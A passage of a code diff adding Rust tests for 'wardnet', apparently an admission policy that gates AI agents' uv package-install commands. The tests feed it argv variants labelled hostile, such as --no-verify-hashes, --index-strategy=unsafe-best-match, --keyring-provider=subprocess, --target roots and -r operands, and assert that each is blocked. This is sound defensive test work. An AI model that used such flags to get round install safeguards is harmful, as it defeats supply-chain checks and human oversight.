DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar remains outside the deliberately narrow supported command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a requirements-file operand must not masquerade as the reviewed direct package after uv global options: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn attached_uv_global_option_preserves_indirect_artifact_evidence() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv = vec![ + "uv".to_string(), + "--color=never".to_string(), + "pip".to_string(), + "install".to_string(), + "-r".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "attached parser-valid uv global options must not erase indirect-source evidence: {:?}", + decision.reason_codes + ); +} + +#[test] +fn non_install_uv_grammar_does_not_inherit_indirect_install_source_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "-r".to_string(), + "cwl-example==1.2.3".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "non-install uv grammar must not inherit pip-install indirect-source semantics: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn consumed_install_root_value_cannot_masquerade_as_the_reviewed_artifact() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "--target".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a selector-consumed value is not a direct package operand merely because it equals the approved token: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-global-indirect-source-authority".to_string(), + policy_revision: "2026-09-15.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-indirect-source-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_global_install_root_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_install_root_authority_contract.rs new file mode 100644 index 00000000..82d800e7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_install_root_authority_contract.rs @@ -0,0 +1,165 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn uv_global_options_preserve_install_root_causal_evidence() { + let (policy, baseline) = approved_uv_install(); + let control = admission_decision(&policy, &baseline); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact reviewed uv pip install must remain admissible before adding caller-selected install-root authority" + ); + + let mut hostile = baseline.clone(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--target=/tmp/wardnet-target".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "parser-valid uv global options must not erase causal caller-selected install-root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_install_root_does_not_inherit_pip_abbreviation_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--targetx=/tmp/wardnet-target".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "uv must not invent install-root authority for an unrelated near-spelling: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_non_install_command_does_not_gain_install_root_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "requirements.txt".to_string(), + "--target=/tmp/wardnet-target".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "non-install uv grammar must not inherit pip-install destination authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-install-root-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs new file mode 100644 index 00000000..faf3005e --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs @@ -0,0 +1,109 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_with_required_hashes_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_no_verify_hashes_cannot_disable_reviewed_hash_verification() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-verify-hashes".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv must not accept an explicit hash-verification disable selector alongside the reviewed --require-hashes guard" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "uv --no-verify-hashes must retain stable missing_safety_flag evidence" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); +} + +#[test] +fn uv_nearby_hash_option_spelling_does_not_inherit_disable_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-verify-hashe".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-hash-verification-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-hash-verification-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs new file mode 100644 index 00000000..09f4d44b --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs @@ -0,0 +1,217 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, +}; + +#[test] +fn reviewed_uv_install_with_default_index_strategy_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn explicit_safe_first_index_strategy_remains_admissible() { + for selector in [ + vec!["--index-strategy=first-index".to_string()], + vec!["--index-strategy".to_string(), "first-index".to_string()], + ] { + let (policy, mut intent) = approved_uv_install(); + for (offset, token) in selector.into_iter().enumerate() { + intent.argv.insert(3 + offset, token); + } + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + } +} + +#[test] +fn unsafe_best_match_equals_form_is_explicit_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .insert(3, "--index-strategy=unsafe-best-match".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "unsafe-best-match must have explicit trust evidence: {:?}", + decision.reason_codes + ); +} + +#[test] +fn unsafe_best_match_separate_value_is_explicit_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.insert(3, "--index-strategy".to_string()); + intent.argv.insert(4, "unsafe-best-match".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate unsafe-best-match must have explicit trust evidence: {:?}", + decision.reason_codes + ); +} + +#[test] +fn unsafe_first_match_is_explicit_trust_authority() { + for selector in [ + vec!["--index-strategy=unsafe-first-match".to_string()], + vec![ + "--index-strategy".to_string(), + "unsafe-first-match".to_string(), + ], + ] { + let (policy, mut intent) = approved_uv_install(); + for (offset, token) in selector.into_iter().enumerate() { + intent.argv.insert(3 + offset, token); + } + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "unsafe-first-match must have explicit trust evidence: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn reviewed_uv_global_options_do_not_hide_unsafe_index_strategy_authority() { + for selector in [ + vec!["--index-strategy=unsafe-best-match".to_string()], + vec![ + "--index-strategy".to_string(), + "unsafe-first-match".to_string(), + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); + for (offset, token) in selector.into_iter().enumerate() { + intent.argv.insert(5 + offset, token); + } + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option grammar remains outside the supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "reviewed uv global options must not hide unsafe index-strategy authority: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn near_spelling_does_not_fabricate_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .insert(3, "--index-strateg=unsafe-best-match".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "near spelling must not be interpreted as uv index-strategy authority: {:?}", + decision.reason_codes + ); +} + +#[test] +fn delegated_child_argv_does_not_fabricate_uv_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--no-python-downloads".to_string(), + "python".to_string(), + "--index-strategy=unsafe-best-match".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "delegated child argv must remain outside uv trust authority: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-index-strategy-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs new file mode 100644 index 00000000..8612173a --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs @@ -0,0 +1,209 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_cannot_delegate_credentials_to_keyring_subprocess() { + let (policy, control_intent) = approved_uv_install(); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact reviewed uv pip install must remain admissible before adding credential-helper authority" + ); + + let mut hostile = control_intent; + hostile + .argv + .push("--keyring-provider=subprocess".to_string()); + + assert_alternate_trust_root_block(&policy, &hostile); +} + +#[test] +fn separate_uv_subprocess_provider_carries_credential_authority_reason() { + let (policy, mut hostile) = approved_uv_install(); + hostile + .argv + .extend(["--keyring-provider".to_string(), "subprocess".to_string()]); + + assert_alternate_trust_root_block(&policy, &hostile); +} + +#[test] +fn unknown_non_disabled_uv_keyring_provider_fails_closed() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv.push("--keyring-provider=import".to_string()); + + assert_alternate_trust_root_block(&policy, &hostile); +} + +#[test] +fn explicit_disabled_uv_keyring_provider_preserves_reviewed_baseline() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--keyring-provider=disabled".to_string()); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Allow, + "explicitly retaining uv's disabled keyring baseline must not expand credential authority" + ); +} + +#[test] +fn uv_global_options_preserve_keyring_provider_causal_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--keyring-provider=subprocess".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "parser-valid uv global options must not erase credential-provider trust evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_keyring_provider_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-deps", + "--no-python-downloads", + "--keyring-provider=disabled", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "requirements.txt", + "--keyring-provider=subprocess", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "disabled provider or non-install uv grammar must not inherit install-scope credential-provider authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +fn assert_alternate_trust_root_block(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "any caller-selected non-disabled uv keyring provider must fail closed instead of inheriting new credential-helper authority after a client capability change" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "uv keyring-provider expansion must carry the stable alternate_trust_root reason" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.9".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-keyring-provider-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs new file mode 100644 index 00000000..f871db87 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_managed_python_authority_contract.rs @@ -0,0 +1,205 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_python_provider_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_managed_python_mode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--managed-python".to_string()); + + assert_python_provider_selection_is_blocked(&policy, &intent); +} + +#[test] +fn uv_system_python_search_mode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-managed-python".to_string()); + + assert_python_provider_selection_is_blocked(&policy, &intent); +} + +#[test] +fn uv_global_python_provider_modes_preserve_causal_install_root_evidence() { + for option in ["--managed-python", "--no-managed-python"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + option.to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "global uv Python-provider authority must remain fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "documented global {option} must preserve causal interpreter/install-root evidence; got {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); + } +} + +#[test] +fn uv_global_python_provider_near_spellings_do_not_inherit_authority_semantics() { + for option in ["--managed-pytho", "--no-managed-pytho"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + option.to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "unreviewed near spelling {option} must not inherit uv Python-provider semantics" + ); + } +} + +#[test] +fn unsupported_uv_run_never_inherits_install_authority_semantics() { + for option in ["--managed-python", "--no-managed-python"] { + for argv in [ + vec!["uv", "run", option, "python"], + vec!["uv", "run", "python", option], + vec!["uv", "--color", "auto", "run", option, "python"], + vec!["uv", option, "run", "python"], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv run remains outside Wardnet's artifact-install grammar" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "unsupported uv run must not be parsed by the install-authority classifier for {option}; got {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); + } + } +} + +fn assert_python_provider_selection_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot] + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-managed-python-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: 